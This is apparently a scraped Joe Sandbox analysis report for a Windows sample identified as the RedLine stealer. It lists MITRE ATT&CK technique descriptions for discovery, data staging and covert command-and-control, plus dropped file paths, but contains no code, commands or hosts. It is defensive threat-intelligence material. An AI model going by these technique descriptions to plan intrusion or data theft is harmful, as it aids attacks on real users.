Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6RE1Z857ae.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\build.exe.log

C:\Users\user\AppData\Local\Temp\Plain_Checker.exe

C:\Users\user\AppData\Local\Temp\build.exe

C:\Users\user\AppData\Local\Temp\tmp27D.tmp

C:\Users\user\AppData\Local\Temp\tmp2B30.tmp

C:\Users\user\AppData\Local\Temp\tmp2B40.tmp

C:\Users\user\AppData\Local\Temp\tmp2B51.tmp

C:\Users\user\AppData\Local\Temp\tmp2B60.tmp

C:\Users\user\AppData\Local\Temp\tmp2B71.tmp

C:\Users\user\AppData\Local\Temp\tmp2B91.tmp

Windows Analysis Report
6RE1Z857ae.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre